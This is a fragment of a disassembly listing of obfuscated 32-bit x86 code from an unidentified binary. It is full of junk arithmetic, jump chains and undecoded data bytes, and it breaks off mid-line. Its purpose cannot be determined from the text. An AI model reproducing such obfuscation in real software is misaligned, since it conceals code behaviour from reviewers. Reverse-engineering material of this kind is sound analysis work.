[esp+7Ch+var_7C], ebx push ecx mov ecx, 523C3F4Fh mov ebx, 0B65F0E40h sub ebx, 2A5658h jmp loc_556BA2 ; --------------------------------------------------------------------------- db 5 dd 4, 405h, 24048700h, 0F3E9515Ch db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_56693B: ; CODE XREF: sub_542C3C+175CAj add eax, 2A56098Dh sub eax, edi push ebp mov ebp, 69F307B0h not ebp xor ebp, 0BC5AF1C2h jmp loc_563432 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0FF3004E9h, 4BDFFh, 0E9010000h, 0EAEFE95Dh, 0F653FFFEh dd 305B2414h, 30DE30F3h, 0E9D6F6F3h, 0FFFFB18Ah, 40B8C281h dd 0F20154B8h, 40B8EA81h, 335E54B8h, 0FE92414h, 81000004h dd 3D2F242Ch, 815D1776h, 763D2FC5h, 2CE5E917h, 0E959FFFFh dd 10C3h, 0E901EF83h, 0FFFF1605h, 83241489h, 248904ECh dd 24048324h, 56535A04h, 0FFA183E9h, 83FE31FFh, 0EC8301EEh dd 240C8904h, 0F3421BB9h, 59CE295Eh, 19D9EE81h, 0AEE9925Dh db 0E1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5669E7: ; CODE XREF: sub_542C3C+20649j push esi jmp loc_554E4B ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 33000000h, 3C31243Ch, 243C3324h, 0CB4AE95Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566A02: ; CODE XREF: sub_542C3C+1846Cj pop ebx add eax, edx pop edx xchg eax, [esp+80h+var_80] mov esp, [esp+80h+var_80] add esp, 4 push ecx jmp loc_56397E ; --------------------------------------------------------------------------- dd 0FF665066h, 58662404h, 0FFFF0566h, 5E0C166h, 25664066h dd 66577412h, 0E91E07BFh, 0FFFF1317h, 10FD68h, 240C8900h dd 0DE39E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566A46: ; CODE XREF: sub_542C3C+16C17j add esp, 4 jmp loc_55E16C ; --------------------------------------------------------------------------- dw 0EC83h dd 240C8904h, 8F1B2EB9h, 2CC28101h, 0E9300E52h, 0FFFF32A2h dd 34FFDD28h, 80E95B24h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566A6F: ; CODE XREF: sub_542C3C+183B4j sub esi, 81F7797Eh xor edx, esi mov esi, [esp+8Ch+var_8C] add esp, 4 add edx, 0FFFFFFFFh sub edx, 4DCCAB9Ch and ecx, edx jmp loc_556F54 ; --------------------------------------------------------------------------- loc_566A90: ; CODE XREF: sub_542C3C+14BF7j sub ebx, eax sub ebx, 11715259h jmp loc_55B770 ; --------------------------------------------------------------------------- loc_566A9D: ; CODE XREF: sub_542C3C+228C2j xor ebp, [esp+98h+var_98] pop esp jmp loc_555346 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4C381h, 0FF530000h, 5B042474h, 0FFFA76E9h db 0FFh ; --------------------------------------------------------------------------- loc_566ABD: ; CODE XREF: sub_542C3C+1FE59j add esi, 2E0444E1h push ecx mov ecx, 4C4F4BF0h not ecx shl ecx, 8 jmp loc_564091 ; --------------------------------------------------------------------------- loc_566AD3: ; CODE XREF: sub_542C3C+1367Fj pop esi add eax, edi jmp loc_5607D0 ; --------------------------------------------------------------------------- db 56h dd 2BEh, 2B4E900h, 0E668FFFFh, 89000031h, 34FF2434h, 0A77E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_566AF6: ; CODE XREF: sub_542C3C+1CF6Bj mov edi, 4 jmp loc_55584F ; --------------------------------------------------------------------------- dd 0E7BC281h, 0E95B6A49h, 0FFFEECB5h, 0EC83E789h, 0FB08E904h dd 0EE01FFFEh, 81242C8Bh, 4C4h, 0DBF5700h, 0E9307D2Bh dd 0FFFF7D1Ah, 5CE9D8F7h, 66FFFF4Bh, 5724048Bh, 0FF2979E9h db 0FFh ; --------------------------------------------------------------------------- loc_566B3D: ; CODE XREF: sub_542C3C+19C09j push 63A91752h pop ecx jmp loc_566180 ; --------------------------------------------------------------------------- dd 0FA2DF801h, 5F13353Ah, 0E91C4721h, 0FFFFAA65h ; --------------------------------------------------------------------------- loc_566B58: ; CODE XREF: sub_542C3C+2387Aj pop ecx mov ebp, [esp+40h+var_40] push edx jmp loc_55EB81 ; --------------------------------------------------------------------------- dw 34FFh dd 6E95A24h, 81FFFF41h, 4C4h, 65C68100h, 29363E6Bh, 65EE81C6h dd 0E9363E6Bh, 0FFFF5692h, 4C781h, 68520000h, 445F5112h dd 0E924148Bh, 0FFFF37CFh, 0B111E6B9h, 0E841E943h, 8853FFFFh dd 0B93CE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566BAA: ; CODE XREF: sub_542C3C+1619Cj shl eax, 7 shl eax, 7 not eax add eax, 91D48005h jmp loc_5560BA ; --------------------------------------------------------------------------- a?fXs db '-?ä',1Bh,' )ÁXé$',1Bh,0 db 0 ; --------------------------------------------------------------------------- loc_566BC9: ; CODE XREF: sub_542C3C+179F6j sub al, 0D7h add al, cl push ebx jmp loc_5675E9 ; --------------------------------------------------------------------------- loc_566BD3: ; CODE XREF: sub_542C3C+2369Cj push ecx mov ecx, 62CC7B19h jmp loc_5618D4 ; --------------------------------------------------------------------------- dw 0FFB8h dd 81FFFFFFh, 0E87DB0EDh, 61ED8172h, 29318E19h, 61C581C5h dd 81318E19h, 0E87DB0C5h, 0F5815872h, 33D1750Ch, 0FF5F64E9h dd 242C87FFh, 0FFA17EE9h db 0FFh ; --------------------------------------------------------------------------- loc_566C11: ; CODE XREF: sub_542C3C+1255Fj push edi mov edi, esp push edx mov edx, 4 add edi, edx pop edx push ebx mov ebx, 4 add edi, ebx mov ebx, [esp+0AAh+var_AA] add esp, 4 xchg edi, [esp+0A6h+var_A6] pop esp xor ecx, [esp+0A2h+var_A2] xor [esp+0A2h+var_A2], ecx xor ecx, [esp+0A2h+var_A2] mov esp, [esp+0A2h+var_A2] add esp, 4 imul ecx, eax push ecx pushf jmp loc_55354C ; --------------------------------------------------------------------------- dd 0B951DAF7h, 552630AFh, 0FFB64BE9h, 240489FFh, 43E9C7B0h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_566C5F: ; CODE XREF: sub_542C3C+1ABB2j pop edx push ebp jmp loc_55625C ; --------------------------------------------------------------------------- loc_566C66: ; CODE XREF: sub_542C3C+190E5j pop esi push ecx push esi push ebp mov ebp, 4000h mov esi, ebp pop ebp push esi pop ecx pop esi and eax, ecx mov ecx, [esp+6Ch+var_6C] push edx jmp loc_567361 ; --------------------------------------------------------------------------- dd 0C380C328h, 84E95861h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566C8B: ; CODE XREF: sub_542C3C+113B4j add eax, 13458DEh jmp loc_565105 ; --------------------------------------------------------------------------- loc_566C95: ; CODE XREF: sub_542C3C+24C38j pop esp loc_566C96: ; CODE XREF: sub_542C3C+17548j ; sub_542C3C+22882j push dword ptr [edi+24h] push ecx sub esp, 4 jmp loc_565194 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 54241489h, 4C2815Ah, 83000000h, 148704EAh, 24248B24h dd 89241C89h, 0F1B7E9E3h, 34FFFFFFh, 2434FF24h, 44EAE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566CD2: ; CODE XREF: sub_542C3C+1FAE4j push esp jmp loc_55AAF1 ; --------------------------------------------------------------------------- loc_566CD8: ; CODE XREF: sub_542C3C+11E3Ej mov [esp+78h+var_78], esi push edi mov edi, 56E446B7h jmp loc_563EE8 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFF8FDE9h, 0F4E945FFh, 5CFFFFDBh, 8950D828h, 405E0h dd 0EBE90000h db 34h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566D07: ; CODE XREF: sub_542C3C+1C1F6j and ebp, 24992D46h jmp loc_55BCE2 ; --------------------------------------------------------------------------- dw 0BF57h dd 25A58h, 0FECE87E9h, 240C89FFh, 2035E954h, 0C281FFFFh dd 530F7053h, 81240C8Bh, 4C4h, 2BE5600h, 0E9000000h, 0FFFFFC3Ch ; --------------------------------------------------------------------------- loc_566D40: ; CODE XREF: sub_542C3C+13EFFj mov ebp, 1766065Dh jmp loc_5561E4 ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 0E9510000h, 0FFFEFA5Bh ; --------------------------------------------------------------------------- loc_566D58: ; CODE XREF: sub_542C3C+13360j mov ecx, [esp+68h+var_68] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+6Ch+var_6C] pop esp push 5DBAh mov [esp+6Ch+var_6C], eax jmp loc_559779 ; --------------------------------------------------------------------------- db 29h, 0DEh, 0E9h dd 0FFFEF28Eh ; --------------------------------------------------------------------------- loc_566D80: ; CODE XREF: sub_542C3C+13EC0j mov esp, [esp+7Ch+var_7C] push esi mov esi, 6DEC48ECh sub ebx, esi push [esp+80h+var_80] pop esi add esp, 4 push esi push 22AE4E49h pop esi push ebp jmp loc_5547C8 ; --------------------------------------------------------------------------- dw 1431h dd 24143324h, 0E924248Bh, 0FFFECC43h, 4F52BD55h, 0D5F71DDDh dd 3E5DC581h, 0CD81321Ch, 5F193B3Fh, 8145D5F7h, 2B78D8C5h dd 9CC681B7h, 291A4876h, 9CEE81EEh, 5D1A4876h, 16D2B850h dd 0E0C175D1h, 8E8C105h, 0FF0015E9h db 0FFh ; --------------------------------------------------------------------------- loc_566DED: ; CODE XREF: sub_542C3C+2097Ej mov ecx, 1 jmp loc_55D8B7 ; --------------------------------------------------------------------------- db 51h dd 0BD337EB9h, 719E94Bh, 0E95AFFFFh, 0FFFF8AC3h, 835FF801h dd 48704C0h, 8B595C24h, 1CE92434h, 81FFFF7Ch, 4C2h, 4C28300h dd 0FF3502E9h, 0C4815BFFh, 4, 0B053E952h, 0F66FFFFh, 9C2404A3h dd 0FEC70BE9h db 0FFh ; --------------------------------------------------------------------------- loc_566E41: ; CODE XREF: sub_542C3C+24976j push ecx mov ecx, 4 add esi, 4C6245E9h add esi, ecx jmp loc_55EAF2 ; --------------------------------------------------------------------------- loc_566E54: ; CODE XREF: sub_542C3C+1BDD6j shl edx, 8 jmp loc_55B380 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFFF4E2h, 240C895Ch, 0BD6F21B9h, 1DEE6855h dd 6EE90000h, 2CFFFED0h, 80B1513Eh, 0D01AC180h, 0B75366E9h dd 66F9303Ah, 0E9241C8Bh, 0FFFFDA14h, 50241489h, 8851DAB0h dd 59EA88C5h, 19E95058h, 5FFFEF7h, 4B008A8h, 4EC81h, 4890000h dd 1585D24h, 0C875DE9h, 0C1815C24h, 4, 0E902C183h, 0FFFED260h dd 7B9CBD55h, 0C5817400h, 9B1AD03Bh, 15DEA31h, 0D685AD6h dd 89000054h, 2B9240Ch, 81000000h, 612843C6h, 22FFE91Dh dd 4B8FFFFh, 1000000h, 0EC8358C6h, 0EEFBE904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566F02: ; CODE XREF: sub_542C3C+1C15Ej xor eax, ecx push 49C7h jmp loc_56017E ; --------------------------------------------------------------------------- dw 0F901h dd 0DAEDE95Fh, 4235FFFFh, 13016BBh, 565058C6h, 26240481h dd 5804276Eh, 276E262Dh, 58C78904h, 0FFF94AE9h, 70D5BAFFh dd 31E92ECCh, 89FFFFA1h, 0E953240Ch, 0FFFF90C2h, 0EC835366h dd 0FF3EE904h, 6664FFFFh, 0B568028Bh, 8900007Eh, 8B542414h dd 89532414h, 0BFA3E9E3h, 0E9C1FFFFh, 0B6E98104h, 51AFA569h dd 0FFFA1AE9h db 0FFh ; --------------------------------------------------------------------------- loc_566F79: ; CODE XREF: sub_542C3C+117BFj mov dh, 5Eh push cx mov cl, 0D3h xor dh, cl pop cx add bl, dh jmp loc_56557A ; --------------------------------------------------------------------------- dw 0F759h dd 3AEEE9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566F92: ; CODE XREF: sub_542C3C+1ADEDj xor edi, ebp xor ebp, edi xchg ebp, [esp+4Ch+var_4C] push [esp+4Ch+var_4C] jmp loc_567E85 ; --------------------------------------------------------------------------- loc_566FA1: ; CODE XREF: sub_542C3C+1F5CBj add esp, 4 push 4696h mov [esp+4Ch+var_4C], edx jmp loc_55CA6F ; --------------------------------------------------------------------------- dd 4C481h, 0C4810000h, 4, 491B8D35h, 4EC8328h, 55241C89h dd 8A243968h, 0C5815D15h, 60B4408h, 0A9CED81h, 0EB89D87Bh dd 0FDBD555Dh, 0E906481Ch, 0FFFF3EDEh ; --------------------------------------------------------------------------- loc_566FEC: ; CODE XREF: sub_542C3C+19820j mov edx, [esp+76h+var_78+2] jmp loc_56866C ; --------------------------------------------------------------------------- dd 8246C81h, 5C7660Ah, 4114BB53h, 5C2933FEh, 0E95B0C24h dd 0FFFED9BDh, 8F04F028h, 0BF2C5A66h, 0D0E90704h, 87FFFEE4h dd 525C241Ch, 556E51BAh, 0E9D72948h, 0FFFF90C5h, 24048B66h dd 8904EC83h, 0F0E92404h, 0FFFFF0h, 532904F0h, 0EF8070B7h dd 0FECF8046h, 0C780CFFEh, 5BF80037h, 0FC3305Ah, 5268C0B6h dd 8900007Eh, 0EC812434h, 4, 24048F54h, 0FFE24EE9h db 0FFh ; --------------------------------------------------------------------------- loc_56706D: ; CODE XREF: sub_542C3C+15F6Ej add [esp+84h+var_84], 4CC84A55h push [esp+84h+var_84] mov eax, [esp+88h+var_88] jmp loc_5557FA ; --------------------------------------------------------------------------- loc_56707F: ; CODE XREF: sub_542C3C+24A2Bj add esp, 4 loc_567085: ; CODE XREF: sub_542C3C+1E291j sub esp, 4 mov [esp+88h+var_88], ebp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+8Ch+var_8C] pop esp mov [esp+88h+var_88], esi mov esi, esp add esi, 4 sub esi, 4 push esi push [esp+8Ch+var_88] jmp loc_5621A5 ; --------------------------------------------------------------------------- loc_5670B6: ; CODE XREF: sub_542C3C+23C02j mov ebx, esp push eax push ecx mov ecx, 3CB2273Ch mov eax, ecx pop ecx not eax shl eax, 4 not eax inc eax xor eax, 0CB2273D4h add ebx, eax pop eax push esi jmp loc_55AB6E ; --------------------------------------------------------------------------- dd 31D6F74Eh, 31F731FEh, 14F757FEh, 0E9E95F24h db 0FFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5670EB: ; CODE XREF: sub_542C3C+1C0A2j mov ebx, 0FC0AB9AAh push edi jmp loc_567C8E ; --------------------------------------------------------------------------- dw 405h dd 83000000h, 0BE904E8h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567103: ; CODE XREF: sub_542C3C+25C15j shl ecx, 5 not ecx push ebx mov ebx, 0CF2052Eh inc ebx sub ebx, 4674AB6h push eax mov eax, 6DA377CCh push 145Bh mov [esp+94h+var_94], edx mov edx, 34320C0h not edx add edx, 6CC8908Eh or eax, edx jmp loc_55E84E ; --------------------------------------------------------------------------- db 0B8h dd 24BC03A4h, 0FF1C49E9h, 0E9660CFFh, 0FFFF2A45h, 58F3B951h dd 81514F2Bh, 17BF2404h, 815D48FEh, 0FE17BFEDh, 0CD315948h dd 0FF4834E9h, 3C8758FFh, 0CB26E924h, 5152FFFFh, 9C17E968h dd 0E9815953h, 56FD6903h, 511CC181h, 0CA890361h, 5A8EE959h dd 0E089FFFFh, 0FFCD7DE9h, 28282CFFh, 2C2804E8h, 2434FFDEh dd 592434FFh, 0FF9FEAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5671A5: ; CODE XREF: sub_542C3C+1E7F9j xor ebp, 0C892B2ADh add edi, 2B9458B7h add edi, 1D2C151Bh jmp loc_55CFE1 ; --------------------------------------------------------------------------- dd 0DC12E958h, 0ED83FFFFh, 0E2E95504h, 50FFFEE6h, 0B45EA5B8h dd 274A050Dh, 7B0D2ED8h, 0D16B240Ch, 36AC25E8h, 0A82D29A2h dd 1298206h, 0C5E958C7h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5671EF: ; CODE XREF: sub_542C3C+1399Dj push dword ptr [edi+eax*4] push [esp+88h+var_88] mov eax, [esp+8Ch+var_8C] add esp, 4 push 7C57h mov [esp+8Ch+var_8C], esi push esp mov esi, [esp+90h+var_90] jmp loc_56026D ; --------------------------------------------------------------------------- loc_56720F: ; CODE XREF: sub_542C3C+1A87Aj and esi, ecx mov ecx, [esp+54h+var_54] add esp, 4 shr esi, 8 or esi, 665976D2h push edx mov edx, 7C393ED7h push 0 sub [esp+58h+var_58], edx pop edx sub edx, 0E393271Ah push edx mov edx, 3AAC1849h jmp loc_5618DF ; --------------------------------------------------------------------------- dd 9BE9CD21h, 52FFFF21h, 0C0FEB151h, 0E98003E1h, 50535050h dd 0FF0012E9h, 0FAC681FFh, 1306711h, 0E86CE9FEh, 481FFFFh dd 424h, 24348B00h, 4C481h, 0C6810000h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 3A3725E6h jmp loc_55F0AD ; --------------------------------------------------------------------------- dw 6C81h dd 7CB40424h, 6C813711h, 6CF80424h, 54011BC6h, 44810424h dd 6CF80424h, 44811BC6h, 7CB40424h, 44813711h, 12B90424h dd 0E9571365h, 0FFFF811Fh, 70CCD81h, 0ED817AA6h, 933313F8h dd 0FFEB48E9h, 3094BBFFh, 0E3C139DFh, 3EBC106h, 9FBE381h dd 0E3D13472h, 47AC381h, 0D889258Ch, 900E95Bh, 48F0000h dd 19A56824h, 1BE90000h, 66000014h, 0E9240C89h, 0FFFFD69Dh dd 16526857h, 555F4D1Ch, 13186BBDh, 32F58170h, 0E9697117h dd 0FFFF8414h ; --------------------------------------------------------------------------- loc_56731C: ; CODE XREF: sub_542C3C+16390j add esp, 4 push [esp+0AAh+var_AA] pop edi add esp, 4 jmp loc_5648B9 ; --------------------------------------------------------------------------- dw 0C9B9h dd 5715447Ah, 30F5BA52h, 0EC812F90h, 4, 0FFD11AE9h db 0FFh ; --------------------------------------------------------------------------- loc_567345: ; CODE XREF: sub_542C3C+14ED0j and ebp, 1A252EBEh xor ebp, 150F16CEh add ebp, 0B8F6E657h sub esi, ebp pop ebp sub ebx, esi jmp loc_55D5EC ; --------------------------------------------------------------------------- loc_567361: ; CODE XREF: sub_542C3C+2403Fj mov edx, esp jmp loc_563679 ; --------------------------------------------------------------------------- dd 87E9555Fh, 56FFFF06h, 290C0EBEh, 77F6815Ah, 576FA867h dd 9C68E1BFh, 0B74E97Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567386: ; CODE XREF: sub_542C3C+2265Dj push eax mov eax, 0EBD6ACAh add eax, 0F142953Ah jmp loc_55C6A0 ; --------------------------------------------------------------------------- loc_567396: ; CODE XREF: sub_542C3C+1875Ej or edx, 0B496D8Ch xor edx, 29E225D4h shr edx, 1 jmp loc_55E2BB ; --------------------------------------------------------------------------- db 54h, 5Dh, 51h dd 0FF2B07E9h, 24048BFFh, 5204C483h, 503869BAh, 6E1EE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5673C2: ; CODE XREF: sub_542C3C+1A409j shl ebp, 7 jmp loc_557367 ; --------------------------------------------------------------------------- dw 5053h dd 4F6896B8h, 3F8BE925h, 3C33FFFFh, 243C3124h, 5C243C33h dd 68CDE281h, 10E94784h db 28h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5673EB: ; CODE XREF: sub_542C3C+206F4j pop [esp+80h+var_80] add [esp+7Ch+var_7C], 4 pop ecx add ecx, 4 sub esp, 4 mov [esp+7Ch+var_7C], ebx jmp loc_55E9F5 ; --------------------------------------------------------------------------- dw 3468h dd 8900001Dh, 9C502414h, 0FF1090E9h db 0FFh ; --------------------------------------------------------------------------- loc_567419: ; CODE XREF: sub_542C3C+1EA9Ej mov [esp+54h+var_54], ebx jmp loc_5537CA ; --------------------------------------------------------------------------- db 0E9h, 26h, 0C1h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567426: ; CODE XREF: sub_542C3C+21B85j mov word ptr [esp+9Ah+var_9C+2], cx push eax mov ah, 4Ch jmp loc_56577A ; --------------------------------------------------------------------------- dw 0BDB0h dd 0FFB25266h, 5A66D000h, 53528A2Ch, 0FEE26AE9h, 0A4B652FFh dd 11F68h, 0CA9CE900h, 148BFFFEh, 4C48124h, 8B000000h dd 0C4812404h, 4, 0E92434FFh, 0FFFEDA1Bh, 0A41BE958h, 74FFFFFFh dd 0FFE90424h, 0BAFFFFABh, 376F570Bh, 29CBE281h, 0E94272ABh dd 0FFFED524h ; --------------------------------------------------------------------------- loc_56748C: ; CODE XREF: sub_542C3C+12CF1j push esi mov esi, 79446E2Fh shr esi, 3 jmp loc_553C80 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815E24h, 4, 0C0A2E9C3h, 2D5AFFFEh, 7FDF0C02h, 205F029h dd 5E7FDF0Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi jmp loc_55D561 ; --------------------------------------------------------------------------- dd 4C481h, 0D8000000h, 0FF0C40E9h, 4C683FFh, 0E9243487h dd 0FFFFDA98h, 34FFC801h, 240C8B24h, 5104C483h, 0C1815954h dd 4, 8904EC83h, 4B82404h, 81000000h, 0AD0E39E9h, 81C10106h dd 0AD0E39C1h, 0C875806h, 24248B24h, 0FFBBA9E9h, 81D601FFh dd 6E513DEEh, 4CFFE971h, 0E957FFFFh, 0FFFF238Eh, 0E924248Bh dd 0FFFF6F5Dh, 7CB9BD55h, 0ED8128EEh, 3222303h, 0A64EC581h dd 0E989DA33h, 0FFA326E9h, 60B668FFh, 815D33A2h, 5E2414C2h dd 81EA294Dh, 5E2414EAh, 2434FF4Dh, 4C4835Dh, 0FF1EF4E9h dd 2434FFFFh, 81243C8Bh, 4C4h, 3BE95700h, 0BEFFFF9Ah, 6D5E1C10h dd 348BF789h, 65C9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56758E: ; CODE XREF: sub_542C3C+25A86j push esi mov esi, 3EAA6307h jmp loc_5585DF ; --------------------------------------------------------------------------- loc_567599: ; CODE XREF: sub_542C3C+151A7j mov [esp+50h+var_50], esp add [esp+50h+var_50], 4 pop [esp+50h+var_50] add [esp+4Ch+var_4C], 4 push [esp+4Ch+var_4C] jmp loc_55A152 ; --------------------------------------------------------------------------- loc_5675AF: ; CODE XREF: sub_542C3C+17F9Dj add esp, 4 jmp loc_566E41 ; --------------------------------------------------------------------------- db 66h dd 52240C8Bh, 5755E289h, 5B1EB4BFh, 4EFC169h, 7898C781h dd 0E7C13053h, 34F78104h, 896E92A8h, 0EA015FFDh, 5D2434FFh dd 55E18951h, 0FF2B43E9h db 0FFh ; --------------------------------------------------------------------------- loc_5675E9: ; CODE XREF: sub_542C3C+23F92j sub esp, 4 mov [esp+8Ch+var_8C], ecx mov cl, 0E5h shl cl, 3 push bx mov bh, 0F7h xor cl, bh pop bx push eax mov eax, esp add eax, 4 push esi mov esi, 4 sub eax, esi pop esi jmp loc_55680C ; --------------------------------------------------------------------------- loc_567612: ; CODE XREF: sub_542C3C+17A10j xor edi, 8C02CBFBh sub ebp, 2A6874E7h sub ebp, edi add ebp, 2A6874E7h pop edi jmp loc_5603E9 ; --------------------------------------------------------------------------- loc_56762C: ; CODE XREF: sub_542C3C+1462Aj xor edx, 0D8A9DBB5h add ebx, edx mov edx, [esp+8Eh+var_90+2] add esp, 4 or ebx, 3A5512AAh neg ebx jmp loc_567814 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 3FBF5700h, 0E96FB15Eh, 0FFFFC660h ; --------------------------------------------------------------------------- loc_567658: ; CODE XREF: sub_542C3C+12413j mov edi, [esp+94h+var_94] add esp, 4 sub [edi+24h], ebp mov ebp, [esp+90h+var_90] jmp loc_56707F ; --------------------------------------------------------------------------- loc_56766C: ; CODE XREF: sub_542C3C+19445j sub al, 57h push 472Eh mov [esp+5Ch+var_5C], edx push ecx mov cl, 89h mov dl, 24h xor dl, cl pop ecx add al, 0A3h jmp loc_554AB9 ; --------------------------------------------------------------------------- dd offset loc_409167+1 align 2 dw 1489h dd 4EC8324h, 0BD242C89h, 2, 815DEA89h, 4ECh, 240C8900h dd 0FFD6A9E9h, 2C895CFFh, 3730E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5676B2: ; CODE XREF: sub_542C3C+13049j push eax jmp loc_55B888 ; --------------------------------------------------------------------------- dd 4BB53h, 3EE90000h db 2Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5676C3: ; CODE XREF: sub_542C3C+1AD29j sub esi, edx pop edx jmp loc_559940 ; --------------------------------------------------------------------------- db 0B9h dd 187A6BFBh, 0B2E9E9D1h, 8BFFFFC1h, 69E92424h, 68FFFFF8h dd 27E5FB3h, 2E7C15Fh, 111BEF81h, 2CE93F7Ch, 2DFFFFDBh dd 627B4B46h, 0FEE30DE9h, 4875AFFh, 24248B24h, 240C8966h dd 0C8B60F66h, 0E99C5166h, 0FFFF6968h, 0C15EF189h, 0C18102E1h dd 0A8EF829Dh, 159CA01h, 6DEA81CAh, 5912F91Dh, 8B241487h dd 22E92424h, 54FFFF32h, 8124048Fh, 42404h, 348B0000h dd 4C48324h, 4C681h, 0E9550000h, 0FFFF04F6h, 4EC8358h dd 54243C89h, 0FF92A4E9h, 241C33FFh, 33241C31h, 248B241Ch dd 24048124h, 96B5A3Dh, 4E240481h, 12EBC66h, 2C812404h dd 0BC664E24h, 2BA9E92Eh, 2D59FFFFh, 5E550FE5h, 0FF1F84E9h dd 242C8BFFh, 5104C483h, 0FFB8DCE9h, 815E54FFh, 4C6h, 64246800h dd 2C890000h, 0C4685324h, 8B426B61h, 4E9241Ch, 81FFFFDCh dd 4C2h, 4C28100h, 33000000h, 14312414h, 7C2DE924h, 0F088FFFFh dd 0EFBAE95Ah, 0C380FFFEh, 8BD828ADh, 0C481241Ch, 4, 22B753h dd 0C432E9F8h, 0D5FFFFEh, 30E74CB7h, 0D609E940h, 0D12DFFFFh dd 0E92A5F17h, 0FFFF6FD4h, 0E902EFC1h, 574h ; --------------------------------------------------------------------------- loc_567814: ; CODE XREF: sub_542C3C+24A06j not ebx xor ebx, 507B5A7Bh xor ebx, 24E3468Dh xor [esp+8Ah+var_88+2], ebx pop ebx mov eax, [esp+86h+var_88+2] push eax jmp loc_564628 ; --------------------------------------------------------------------------- loc_567830: ; CODE XREF: sub_542C3C+119C8j mov ecx, esp push 1825h mov [esp+88h+var_88], ebp mov ebp, 4 add ecx, ebp pop ebp push ebx jmp loc_567ED3 ; --------------------------------------------------------------------------- loc_567848: ; CODE XREF: sub_542C3C+1767Fj mov eax, 2B2800EFh push eax jmp loc_555554 ; --------------------------------------------------------------------------- loc_567853: ; CODE XREF: sub_542C3C+120B8j mov esi, edx pop edx add eax, esi pop esi xor eax, [esp+74h+var_74] jmp loc_559858 ; --------------------------------------------------------------------------- loc_567861: ; CODE XREF: sub_542C3C+1F272j mov esi, [esp+60h+var_60] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+64h+var_64] jmp loc_566C95 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 87000000h, 0E95C2414h, 0FFFFDE92h, 885BDC88h, 0C78058E7h dd 0BF15E943h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567896: ; CODE XREF: sub_542C3C+14BBEj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+3Ch+var_3C] jmp loc_554D61 ; --------------------------------------------------------------------------- db 58h, 31h, 0F9h dd 0FF7BEFE9h, 12C281FFh, 0E945444Ah, 0FFFF2018h, 8B2434FFh dd 0C4832404h, 0F526804h, 14890000h, 0E95A5424h, 0FFFFF547h dd 348BF331h, 4C48324h, 0FEBC6BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5678E1: ; CODE XREF: sub_542C3C+125BCj mov eax, 40704030h shl eax, 8 not eax jmp loc_55E952 ; --------------------------------------------------------------------------- dd 0BE243489h, 4, 2BE9F301h, 68000000h, 18687CCBh, 0BCA685Dh dd 4890000h, 0BBE4E924h, 515DFFFFh, 0F347BCB9h, 0CF9E936h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56791E: ; CODE XREF: sub_542C3C+18C67j add esi, 7E7C1303h push ebp jmp loc_55F876 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 0FF8895E9h, 0A9ED81FFh, 81245A05h, 687332C5h dd 0E9E88954h, 0FFFFB6F6h ; --------------------------------------------------------------------------- loc_567948: ; CODE XREF: sub_542C3C+12E16j pop edi pop [esp+0AEh+var_AE] pop esp mov [esp+0A6h+var_A6], ebx mov ebx, esp add ebx, 4 jmp loc_55948C ; --------------------------------------------------------------------------- db 59h, 8Bh, 0Ch dd 4C48124h, 0F000000h, 0F7E9C0B6h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56796F: ; CODE XREF: sub_542C3C+1D4D6j inc ebp dec ebp jmp loc_56805D ; --------------------------------------------------------------------------- dw 0C481h dd 4, 83242C8Bh, 0E98104C4h, 7951615h, 0FFF8B3E9h db 0FFh ; --------------------------------------------------------------------------- loc_56798D: ; CODE XREF: sub_542C3C+13F74j pop ebx push edi mov edi, esp jmp loc_558387 ; --------------------------------------------------------------------------- dw 8B66h dd 5753240Ch, 0C781E789h, 4, 4BD55h, 0EF290000h, 243C875Dh dd 5197E95Ch, 8159FFFFh, 79078AEAh, 5AD331C9h, 0C137BE56h dd 0F33194D8h, 0FF8B49E9h, 0B3F180FFh, 88C88850h, 0CFE958C6h dd 58FFFF50h, 0C102E1C1h, 6804E1h, 29000000h, 8159240Ch dd 0A8D9ECF1h, 